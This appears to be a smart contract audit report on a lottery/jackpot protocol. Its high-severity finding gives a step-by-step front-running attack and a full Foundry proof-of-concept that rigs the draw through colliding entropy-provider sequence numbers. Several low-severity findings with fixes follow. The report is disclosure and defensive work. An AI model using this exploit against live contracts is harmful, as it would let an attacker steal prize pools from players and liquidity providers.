
[H-1] Changes to Pyth entropy provider setEntropyProvider allows an attacker to hijack jackpot drawing by front-running admin change

Description When a jackpot requests entropy via `requestAndCallbackScaledRandomness` of `ScaledEntropyProvider`, it internally tracks each request by the sequence number returned by the underlying entropy provider.

```
1 function requestAndCallbackScaledRandomness(
2     uint32 _gasLimit,
3     SetRequest[] memory _requests,
4     bytes4 _selector, //jackpot.scaledEntropyCallback()
5     bytes memory _context
6 ) external payable returns (uint64 sequence) {
7     // We assume that the caller has already checked that the fee
8     // is sufficient
9     if (msg.value < getFee(_gasLimit)) revert InsufficientFee();
10    if (_selector == bytes4(0)) revert InvalidSelector();
11    _validateRequests(_requests);
12
13    sequence = entropy.requestV2{value: msg.value}(entropyProvider,
14        _gasLimit);
15    @_storePendingRequest(sequence, _selector, _context, _requests);
16
17
18    function _storePendingRequest(
19        uint64 sequence,
20        bytes4 _selector,
21        bytes memory _context,
22        SetRequest[] memory _setRequests
23    ) internal {
24        pending[sequence].callback = msg.sender;
25        pending[sequence].selector = _selector;
26        pending[sequence].context = _context;
27        for (uint256 i = 0; i < _setRequests.length; i++) {
28            pending[sequence].setRequests.push(_setRequests[i]);
29        }
30    }
31}
```

The `entropyProvider` address is the address of Pyth entropy provider. Pyth entropy provider increments the value of sequence number for each `requestV2` call. Though, the sequence number is unique for each request, but the problem is that different Pyth entropy providers may share the same sequence number at some point.

Consider the following scenario:

1. Attacker observes that the owner is about to call `setEntropyProvider` to set the entropy provider to a new contract.
2. Before the owner can call `setEntropyProvider`, the attacker front-runs the transaction by

calling `ScaledEntropyProvider::requestAndCallbackScaledRandomness` with the current entropy provider address with the following parameters:

- `_gasLimit`: Sufficient gas limit for the callback
- `_requests`: Crafted two requests, one with `samples=5, min=1, max=5`, to create only one selection of normal balls from this set {1,2,3,4,5} and another with `samples=1, min=1, max=1` to create only one selection of bonus ball from this set {1}.
- `_selector`: random value to make sure the callback fails
- `_context`: Context data needed for the callback

```
1  IScaledEntropyProvider.SetRequest[] memory setRequests = new
2      IScaledEntropyProvider.SetRequest[](2);
3      setRequests[0] = IScaledEntropyProvider.SetRequest({
4          samples: 5,
5          minRange: uint256(1),
6          maxRange: uint256(5),
7          withReplacement: false
8      });
9      setRequests[1] = IScaledEntropyProvider.SetRequest({
10         samples: 1,
11         minRange: uint256(1),
12         maxRange: uint256(1),
13         withReplacement: false
14     });
15     Jackpot.DrawingState memory drawingState = jackpot.
16         getDrawingState(1);
17     uint32 entropyGasLimit = entropyBaseGasLimit +
18         entropyVariableGasLimit * uint32(drawingState.bonusballMax);
19     uint256 fee = scaledEntropyProvider.getFee(entropyGasLimit);
20
@>     sequence = i_scaledEntropyProvider.
    requestAndCallbackScaledRandomness{value: fee}(
        entropyGasLimit, setRequests, this.revertFunction.selector,
        ""
    );

```

3. The attacker wants the deletion of pending request to fail in the callback, so that the pending request remains in the mapping for the sequence number [s], that will be used in the original `Jackpot::runJackpot` call.

```
1  function entropyCallback(uint64 sequence, address, /*provider*/
2      bytes32 randomNumber) internal override {
3      PendingRequest memory req = pending[sequence];
4      if (req.callback == address(0)) revert UnknownSequence();
5
6      delete pending[sequence];

```

```

7     uint256[][] memory scaledRandomNumbers = _getScaledRandomness(
8         randomNumber, req.setRequests);
9     (bool success,) =
10    req.callback.call(abi.encodeWithSelector(req.selector,
11        sequence, scaledRandomNumbers, req.context));
12    if (!success) revert CallbackFailed(req.selector);
13
14 }
```

The attacker can use any account/contract with callback that reverts, there by in case `ScaledEntropyProvider ::_entropyCallback` is executed for their callback, the storage value `pending[s]` is never cleared due to the revert.

4. Now, the owner calls `setEntropyProvider` to set the entropy provider to a new contract.
5. The attacker buys one more lottery ticket that matches their pre-selected balls {1,2,3,4,5} and bonus ball {1}.
6. The attacker can decide to wait or explicitly call `Entropy::requestV2` with the new entropy provider address until its sequence number reaches [s-1].
7. The attacker now calls `Jackpot::runJackpot`, which internally calls `ScaledEntropyProvider ::requestAndCallbackScaledRandomness` with the new entropy provider address. This call returns the sequence number [s].
8. Since the attacker had previously made sure that the `pending[s]` is already populated with their crafted requests, when the entropy callback is executed. With the new request the callback, context, selector are updated to new values and new `setRequests` are appended to the existing `setRequests` array, keeping attacker's request as is.

```

1 function _storePendingRequest(
2     uint64 sequence,
3     bytes4 _selector,
4     bytes memory _context,
5     SetRequest[] memory _setRequests
6 ) internal {
7     pending[sequence].callback = msg.sender;
8     pending[sequence].selector = _selector;
9     pending[sequence].context = _context;
10    for (uint256 i = 0; i < _setRequests.length; i++) {
11        pending[sequence].setRequests.push(_setRequests[i]);
12    }
13 }
```

9. Now new pyth entropy provider will call `Entropy::reveal` which causes `Jackpot::scaledEntropyCallback` to be executed and only the first two requests (attacker's

requests) are processed, leading to the attacker winning the jackpot.

```
1 function _calculateDrawingUserWinnings(
2     DrawingState storage _currentDrawingState,
3     uint256[][] memory _unPackedWinningNumbers
4 ) internal returns (uint256 winningNumbers, uint256
5     drawingUserWinnings) {
6     // Note that the total amount of winning tickets for a given
7     // tier is the sum of result and dupResult
8     (uint256 winningTicket, uint256[] memory uniqueResult, uint256
9      [] memory dupResult) = TicketComboTracker
10     .countTierMatchesWithBonusball(
11         drawingEntries[currentDrawingId],
12         _unPackedWinningNumbers[0].toUint8Array(), // normal balls
13         _unPackedWinningNumbers[1][0].toUint8() // bonusball
14     );
15
16     winningNumbers = winningTicket;
17
18     drawingUserWinnings = payoutCalculator.
19         calculateAndStoreDrawingUserWinnings(
20             currentDrawingId,
21             _currentDrawingState.prizePool,
22             _currentDrawingState.ballMax,
23             _currentDrawingState.bonusballMax,
24             uniqueResult,
25             dupResult
26         );
27 }
```

10. The winning ticket matches the attacker's ticket, hijacking the jackpot.

Impact Attacker forces the output of jackpot drawing to match their pre-selected balls, hijacking the jackpot prize at the expense of honest players and liquidity providers.

Proof of Concepts

The running test case for this issue is available at [ScaledEntropyProvider.t.sol](#)

Exploit Test Code Snippet

```
1 function testFrontRunSetEntropyProviderToBecomeWinner() external {
2     usdcMock.mint(buyerOne, 10e6);
3     vm.prank(buyerOne);
4     usdcMock.approve(address(jackpot), 5e6);
```

```

6      uint8[] memory normalsSet1 = new uint8[](5);
7      normalsSet1[0] = 1;
8      normalsSet1[1] = 23;
9      normalsSet1[2] = 6;
10     normalsSet1[3] = 16;
11     normalsSet1[4] = 12;
12
13     uint8[] memory normalsSet2 = new uint8[](5);
14     normalsSet2[0] = 6;
15     normalsSet2[1] = 7;
16     normalsSet2[2] = 8;
17     normalsSet2[3] = 9;
18     normalsSet2[4] = 10;
19
20     uint8[] memory normalsSet3 = new uint8[](5);
21     normalsSet3[0] = 26;
22     normalsSet3[1] = 17;
23     normalsSet3[2] = 8;
24     normalsSet3[3] = 29;
25     normalsSet3[4] = 10;
26
27     // Correct way to create an array of structs
28     IJackpot.Ticket[] memory tickets = new IJackpot.Ticket[](3);
29     tickets[0] = IJackpot.Ticket({normals: normalsSet1, bonusball:
30         2});
31     tickets[1] = IJackpot.Ticket({normals: normalsSet2, bonusball:
32         2});
33     tickets[2] = IJackpot.Ticket({normals: normalsSet3, bonusball:
34         3});
35     address[] memory referrers;
36     uint256[] memory referrerSplits;
37
38     vm.prank(buyerOne);
39     uint256[] memory ticketIds = jackpot.buyTickets(tickets,
40             buyerOne, referrers, referrerSplits, source);
41
42     //attacker will going to purchase ticket with [1,2,3,4,5] and
43     // bonus ballno. = 1
44     uint8[] memory normalsSet4 = new uint8[](5);
45     normalsSet4[0] = 1;
46     normalsSet4[1] = 2;
47     normalsSet4[2] = 3;
48     normalsSet4[3] = 4;
49     normalsSet4[4] = 5;
50     IJackpot.Ticket[] memory ticketsForAttacker = new IJackpot.
51         Ticket[](10);
52
53     for (uint256 i; i < ticketsForAttacker.length; i++) {
54         ticketsForAttacker[i] = IJackpot.Ticket({normals:
55             normalsSet4, bonusball: 1});
56     }

```

```

50
51     address attacker = makeAddr("attacker");
52     vm.deal(attacker, 5 ether);
53     usdcMock.mint(attacker, 10e6);
54
55     vm.startPrank(attacker);
56     usdcMock.approve(address(jackpot), 10e6);
57     uint256[] memory ticketIdAttacker =
58         jackpot.buyTickets(ticketsForAttacker, attacker, referrers,
59                             referrerSplits, source);
60
61     //Attacker will call request randomness to set pending request
62     IScaledEntropyProvider.SetRequest[] memory setRequests = new
63         IScaledEntropyProvider.SetRequest[](2);
64     setRequests[0] = IScaledEntropyProvider.SetRequest({
65         samples: 5,
66         minRange: uint256(1),
67         maxRange: uint256(5),
68         withReplacement: false
69     });
70     setRequests[1] = IScaledEntropyProvider.SetRequest({
71         samples: 1,
72         minRange: uint256(1),
73         maxRange: uint256(1),
74         withReplacement: false
75     });
76     Jackpot.DrawingState memory drawingState = jackpot.
77         getDrawingState(1);
78     uint32 entropyGasLimit = entropyBaseGasLimit +
79         entropyVariableGasLimit * uint32(drawingState.bonusballMax);
80     uint256 fee = scaledEntropyProvider.getFee(entropyGasLimit);
81     Random randomCallback = new Random(scaledEntropyProvider);
82
83     vm.recordLogs();
84
85     uint64 sequenceNo = randomCallback.requestPythEntropy{value:
86         fee}(entropyGasLimit, setRequests);
87     vm.stopPrank();
88     Vm.Log[] memory entriesOne = vm.getRecordedLogs();
89
90     bytes32 requestedWithCallbackSigOne = keccak256(
91         "RequestedWithCallback(address,address,uint64,bytes32,(
92             address,uint64,uint32,bytes32,uint64,address,bool,bool))"
93     );
94     bytes32 userContributionOne;
95     for (uint256 i = 0; i < entriesOne.length; i++) {
96         if (entriesOne[i].topics[0] == requestedWithCallbackSigOne)
97         {
98             (userContributionOne,) = abi.decode(entriesOne[i].data,
99                 (bytes32, EntropyStructs.Request));

```

```

92         break;
93     }
94 }
95
96 vm.prank(pythEntropyProviderOne);
97 vm.expectPartialRevert(ScaledEntropyProvider.CallbackFailed.
98     selector); //made to fail to keep pending request intact
99 entropy.revealWithCallback(pythEntropyProviderOne, sequenceNo,
100    userContributionOne, providerContribution);
101
102 EntropyStructsV2.ProviderInfo memory pythEntropyProviderOneInfo
103   =
104     entropy.getProviderInfoV2(pythEntropyProviderOne);
105
106 assertEq(pythEntropyProviderOneInfo.sequenceNumber, 3);
107
108 //owner will try to update the entryopyProvider
109 vm.prank(owner);
110 scaledEntropyProvider.setEntropyProvider(pythEntropyProviderTwo
111   );
112
113 //now attacker will wait until sequence number reaches 3
114 uint128 fee2 = entropy.getFeeV2(pythEntropyProviderTwo, 0);
115 //random transaction for sequence number to increase to desired
116   value
117 entropy.requestV2{value: fee2}(pythEntropyProviderTwo,
118   providerContribution2, 0);
119
120 EntropyStructsV2.ProviderInfo memory pythEntropyProviderTwoInfo
121   =
122     entropy.getProviderInfoV2(pythEntropyProviderTwo);
123 assertEq(pythEntropyProviderTwoInfo.sequenceNumber, 2);
124
125 //as soon as sequence no. reaches 2, attacker will call run
126   jackpot after drawingdurationtime
127 vm.warp(block.timestamp + drawingDurationInSeconds + 1);
128 //entropyGasLimit
129 uint256 feeForRun = entropy.getFeeV2(pythEntropyProviderTwo,
130   entropyGasLimit);
131 vm.prank(attacker);
132
133 vm.recordLogs();
134 jackpot.runJackpot{value: feeForRun}();
135
136 Vm.Log[] memory entries = vm.getRecordedLogs();
137
138 bytes32 requestedWithCallbackSig = keccak256(
139   "RequestedWithCallback(address,address,uint64,bytes32,("
140     address,uint64,uint32,bytes32,uint64,address,bool,bool))"
141   );
142

```

```

132     bytes32 userContribution;
133     for (uint256 i = 0; i < entries.length; i++) {
134         if (entries[i].topics[0] == requestedWithCallbackSig) {
135             (userContribution,) = abi.decode(entries[i].data, (
136                 bytes32, EntropyStructs.Request));
137             break;
138         }
139     }
140     //@note provider two will call revealWithCallback to process
141     //      callback request
142     vm.prank(pythEntropyProviderTwo);
143     entropy.revealWithCallback(pythEntropyProviderTwo, sequenceNo,
144         userContribution, providerContribution);
145
146     uint256 attackerBeforeBalance = usdcMock.balanceOf(attacker);
147     vm.prank(attacker);
148     jackpot.claimWinnings(ticketIdAttacker);
149     uint256 attackerAfterBalance = usdcMock.balanceOf(attacker);
150     assertEq(attackerAfterBalance - attackerBeforeBalance, 2630550)
151         ;
152
153     uint256 buyerOneBeforeBalance = usdcMock.balanceOf(buyerOne);
154     vm.prank(buyerOne);
155     jackpot.claimWinnings(ticketIds);
156     uint256 buyerOneAfterBalance = usdcMock.balanceOf(buyerOne);
157     assertEq(buyerOneAfterBalance - buyerOneBeforeBalance, 0);
158 }

```

Notes on attack feasibility:

If in the case the new entropy provider has higher sequence number than the old one, it is possible for the attacker to front run the admin change and directly call `Entropy::requestV2` several times for the old provider until its sequence number exceeds that of the new provider.

Recommended mitigation To prevent this attack, we recommend the following mitigations:

1. In `ScaledEntropyProvider::_storePendingRequest`, overwrite the existing pending request instead of appending to the `_setRequests` array. This ensures that only the latest request for a given sequence number is stored.

```

1   function _storePendingRequest(
2       uint64 sequence,
3       bytes4 _selector,
4       bytes memory _context,
5       SetRequest[] memory _setRequests
6   ) internal {
7       pending[sequence].callback = msg.sender;
8       pending[sequence].selector = _selector;
9       pending[sequence].context = _context;

```

```

10 +     delete pending[sequence].setRequests; // Clear existing
11     requests
12     for (uint256 i = 0; i < _setRequests.length; i++) {
13         pending[sequence].setRequests.push(_setRequests[i]);
14     }

```

2. Alternatively, tie the caller of `ScaledEntropyProvider::requestAndCallbackScaledRandomness` to `Jackpot` contract only, preventing arbitrary callers from manipulating pending requests.

[L-1] Uninitialized newAccumulator for _drawingId == 0 in processDrawingSettlement leads to brittle accounting logic

Description In `processDrawingSettlement()`, the variable `newAccumulator` is assigned only when `_drawingId > 0`. When `_drawingId == 0`, the code skips initialization and continues using an uninitialized `newAccumulator` (`default = 0`) to convert pending withdrawals.

Code Snippet:

```

1     if (_drawingId > 0) {
2         newAccumulator = currentLP.lpPoolTotal == 0 ? PRECISE_UNIT
3             :
4             (drawingAccumulator[_drawingId - 1] * postDrawLpValue)
5                 / currentLP.lpPoolTotal;
6         drawingAccumulator[_drawingId] = newAccumulator;
7     }
8
9     uint256 withdrawalsInUSDC = currentLP.pendingWithdrawals *
10    newAccumulator / PRECISE_UNIT;

```

Today, this does not cause incorrect payouts because the protocol prevents LPs from initiating withdrawals in `drawing == 0` (thus `pendingWithdrawals == 0` always). However, the logic is fragile:

- It relies on external rules (initiation restrictions) rather than local correctness.
- Any future code change that introduces pending withdrawals in drawing 0 will silently break LP economics.

This is a correctness and maintainability issue, not an immediate financial exploit.

Impact

- No current exploitable financial loss because `pendingWithdrawals == 0` for `drawing == 0`.
- Makes the system fragile to future refactors.
- It violates the documented invariant: **accumulator[0] must always be initialized to PRECISE_UNIT.**

Recommended mitigation Explicitly initialize `newAccumulator` for `_drawingId == 0` using the pre-initialized accumulator value:

```
1 if (_drawingId > 0) {
2     newAccumulator =
3         currentLP.lpPoolTotal == 0
4             ? PRECISE_UNIT
5             : Math.mulDiv(
6                 drawingAccumulator[_drawingId - 1],
7                 postDrawLpValue,
8                 currentLP.lpPoolTotal
9             );
10
11     drawingAccumulator[_drawingId] = newAccumulator;
12
13 }
14 + else {
15 +     // Defensive: accumulator[0] should already be initialized via
16 +     // initializeLP()
17 +     newAccumulator = drawingAccumulator[0];
18 }
```

[L-2] Unbounded drawing scheduling `_initialDrawingTime` & `drawingDurationInSeconds` can lead to DoS / economic manipulation risk

Description Two related scheduling surfaces are currently unchecked:

1. `initializeJackpot(uint256 _initialDrawingTime)` accepts an arbitrary timestamp and passes it through to `_setNewDrawingState(...)` without validating that the initial drawing time is sane (future, not too soon, not absurdly far).
2. `drawingDurationInSeconds` settable via constructor or setter has no bounds or cooldowns. The code uses this value to schedule subsequent drawings (`currentDrawingState.drawingTime + drawingDurationInSeconds`) and to compute next drawing times inside entropy callbacks.

Together these gaps let the owner (or a compromised owner key) set scheduling values that break the intended cadence or freeze/accelerate drawings:

- set the initial drawing time far in the future; effectively freeze drawings and lock prize realization and LP settlement,
- set it in the past or very near now; allow immediate drawing/sampling before users/LPs had time to participate,
- set `drawingDurationInSeconds` to extremely large or extremely small values; enable denial-of-service or rapid-fire draws that undermine intended economics.

This issue is a governance and economic control vulnerability rather than a pure code bug; it enables owner-controlled timing changes that have direct monetary consequences.

Impact

- *Denial-of-Service / Funds Frozen (High)*: Owner can set `_initialDrawingTime` or `drawingDurationInSeconds` to enormous values (e.g., years) so drawings never execute in a practical timeframe — players cannot claim prizes and LPs cannot realize/share funds.
- Owner can set `_initialDrawingTime` in the past (or very close to `block.timestamp`), enabling draws before purchasers or LPs had a fair window to act (ticket purchases or deposits), causing unfair payouts or LP losses.
- Owner can run draws too frequently (very small duration) or schedule draws to advantage certain actors (timing-based gaming).
- *Governance Risk*: If owner key is compromised, attacker can weaponize scheduling to cause real financial harm.

Recommended mitigation Apply constraints on these parameters:

- In `initializeJackpot(uint256 _initialDrawingTime)`, require that `_initialDrawingTime` is at least `X` minutes/hours in the future and not more than `Y` days/weeks ahead of `block.timestamp`.
- In the constructor and setter for `drawingDurationInSeconds`, enforce minimum and maximum bounds (e.g., between 1 `hour` and 30 `days`) to prevent extreme scheduling.
- Optionally, add a governance delay or multi-sig requirement for changing these parameters to prevent rapid malicious changes.

[L-3] Missing handling for `k == 0` leads to panic / DoS / OOG in `generateSubsets()`

Description `generateSubsets(uint256 set, uint256 k)` assumes `k >= 1` and uses algorithms ([Gosper's hack](#)) that require `k > 0`. When `k == 0` the function misbehaves:

`comb = (1 << k) - 1` becomes 0, which breaks the Gosper loop and logic: the code will iterate incorrectly (or the Gosper update will behave unpredictably), and the final `assert(count == choose(n, k))` will end up panicking.

Although, the subset size (`k`) is always started from 1 in the current usage, the function itself does not enforce this precondition.

Impact Passing `k == 0` causes panics (assert or other failures), leading to DoS or OOG conditions.

Proof of Concepts Following test case triggers the issue and failes with panic: *panic: division or modulo by zero (0x12)*

```

1 function testGenerateSetsWithZeroK(uint256 set) external {
2     unchecked {
3         uint256 mask = (uint256(1) << 128) - 1; // safe: shift < 256
4         set &= mask; // zero out bits >= 128
5     }
6
7     uint256 n = LibBit.popCount(set);
8     n = bound(n, 0, 128);
9     uint256 k = 0;
10
11     Combinations.generateSubsets(set,k);
12 }
```

Recommended mitigation

Add a require check for `k > 0` at the start of `generateSubsets()`, or special-case `k == 0` to return the single empty subset:

```

1     if (k == 0) {
2         subsets = new uint256[](1);
3         subsets[0] = 0;
4         return subsets;
5     }
```

Else `require(k > 0, "subsets: k==0");`

[L-4] Missing symmetry reduction (`k = min(k, n-k)`) in `choose()` increases gas and intermediate magnitude

Description The implementation of the binomial coefficient calculation does not apply the standard symmetry optimization:

```
1 nCk = nC(n-k)
```

Using the smaller of `k` and `n-k` significantly reduces - loop iterations, size of intermediate multiplication values, risk of hitting Solidity's `uint256` limit in future parameter changes and finally gas costs.

Although the contract asserts `n <=128`, which makes overflow unlikely, this is a standard safety and efficiency pattern, and omitting it wastes gas unnecessarily.

Impact

- *Minor gas inefficiency*: up to ~2x more iterations when $k > n/2$
- *Reduced overflow margin*: intermediate values are larger than necessary
- *No functional vulnerability*, but not optimal for performance or robustness

Current Code Snippet:

```
1 function choose(
2     uint256 n,
3     uint256 k
4 ) internal pure returns (uint256 result) {
5     assert(n >= k);
6     assert(n <= 128);
7     unchecked {
8         uint256 out = 1;
9         for (uint256 d = 1; d <= k; ++d) {
10             out *= n--;
11             out /= d;
12         }
13     }
14 }
```

For Example: When `n=128`, `k=80`, loop runs 80 iterations. If symmetry reduction were applied loop drops from 80 `to` 48.

Recommended mitigation Apply symmetry reduction before the loop:

```
1     uint256 n,
2     uint256 k
3 ) internal pure returns (uint256 result) {
4     assert(n >= k);
5     assert(n <= 128);
6     unchecked {
7         uint256 out = 1;
8 +         if (k > n - k) {
9 +             k = n - k;
10 +         }
11
12         for (uint256 d = 1; d <= k; ++d) {
13             out *= n--;
14             out /= d;
15         }
16     }
17 }
```

[L-5] ProtocolFeeCollected event emitted even when protocol fee is zero, leading to misleading logs

Description `_transferProtocolFee()` computes protocol fees only when:

```

1 if (_lpEarnings > _drawingUserWinnings &&
2     _lpEarnings - _drawingUserWinnings > protocolFeeThreshold)
3 {
4     protocolFeeAmount = (...);
5     usdc.safeTransfer(protocolFeeAddress, protocolFeeAmount);
6 }

```

However, the event:

```

1 emit ProtocolFeeCollected(currentDrawingId, protocolFeeAmount);

```

is emitted *unconditionally*, including when the fee is **zero**.

Impact Logs become misleading, harming transparency and creating potential confusion for indexers, dashboards, auditors, and future governance analysis.

Recommended mitigation

1. Emit the event only when `protocolFeeAmount > 0`, or include an explicit flag:

```

1 if (protocolFeeAmount > 0) {
2     emit ProtocolFeeCollected(currentDrawingId, protocolFeeAmount);
3 }

```

2. Emit an event with semantic clarity:

```

1 emit ProtocolFeeCollected(currentDrawingId, protocolFeeAmount,
    protocolFeeAmount > 0);

```

[L-6] Redundant recomputation of subsets in `_countSubsetMatches` leading to excessive gas and memory churn

Description `_countSubsetMatches()` recomputes `Combinations.generateSubsets(_normalBallsBitVector, k)` inside the bonusball loop, even though the subsets depend only on `k` and the winning normals, not on `i`, the bonusball.

```

1 for (uint8 i = 1; i <= _tracker.bonusballMax; i++) {
2     for (uint8 k = 1; k <= _tracker.normalTiers; k++) {
3         uint256[] memory subsets = Combinations.generateSubsets(...);
4             // recomputed for every i
5     }
6 }

```

The causes:

-
- Repeated memory allocation (`new uint256[]`) for identical subset arrays
 - Repeated combinatorial computations
 - Gas usage scaled by `bonusballMax`

Subsets for a given `k` should be computed once per `k`, not once per `(i, k)`.

Impact

- High gas consumption for every drawing settlement
- Memory bloat due to repeated allocations

Recommended mitigation Move `generateSubsets` outside the `bonusball` loop so it runs once per `k`:

```

1 function _countSubsetMatches(...) internal view returns (...) {
2     uint8 normalTiers = _tracker.normalTiers;
3     uint8 bonusballMax = _tracker.bonusballMax;
4
5     matches = new uint256[((normalTiers+1)*2)];
6     dupMatches = new uint256[((normalTiers+1)*2)];
7
8     for (uint8 k = 1; k <= normalTiers; ++k) {
9         uint256[] memory subsets =
10             Combinations.generateSubsets(_normalBallsBitVector, k);
11
12         uint256 len = subsets.length;
13
14         for (uint8 i = 1; i <= bonusballMax; ++i) {
15             bool matchBonus = (i == _bonusball);
16
17             for (uint256 idx = 0; idx < len; ++idx) {
18                 uint256 subset = subsets[idx];
19                 if (matchBonus) {
20                     matches[(k*2)+1] += _tracker.comboCounts[i][subset].
21                         count;
21                     dupMatches[(k*2)+1] += _tracker.comboCounts[i][
22                         subset].dupCount;
23                 } else {
24                     matches[(k*2)] += _tracker.comboCounts[i][subset].
25                         count;
25                     dupMatches[(k*2)] += _tracker.comboCounts[i][subset].
26                         dupCount;
27                 }
28             }
29         }
}

```

[L-7] Stale `ticketOwner` and `userTickets` mappings not cleared in `claimWinnings()` causing inconsistent state, increased storage bloat

Description In `BridgeManager.claimWinnings()` the contract validates ownership of the winning tickets using `_validateTicketOwnership(_userTicketIds, signer)`; and then triggers `jackpot.claimWinnings(_userTicketIds)`.

Inside the Jackpot contract, claiming causes the NFT tickets to be burned, which is the authoritative source of ownership. However, the BridgeManager maintains its own duplicate ownership mappings:

```
1 mapping(address => mapping(uint256 => UserTickets)) public userTickets;
2 mapping(uint256 => address) public ticketOwner;
```

These mappings are never cleared in `claimWinnings()`. After claim:

- The NFT is burned.
- The Jackpot contract no longer tracks the ticket.
- But BridgeManager still permanently believes the user owns the ticket.

Impact This results in stale and misleading state, inconsistent with the actual NFT ownership.

Recommended mitigation After successful `jackpot.claimWinnings(_userTicketIds)`, iterate through the ticket IDs and clear the BridgeManager state:

```
1 for (uint256 i = 0; i < _userTicketIds.length; i++) {
2     uint256 ticketId = _userTicketIds[i];
3     address owner = ticketOwner[ticketId];
4
5     delete ticketOwner[ticketId];
6
7     // Optionally clear from userTickets[owner][drawingId]
8     // depending on data structure:
9     UserTickets storage t = userTickets[owner][currentDrawingId];
10    // remove ticketId from t.ticketIds array or mark it claimed
11 }
```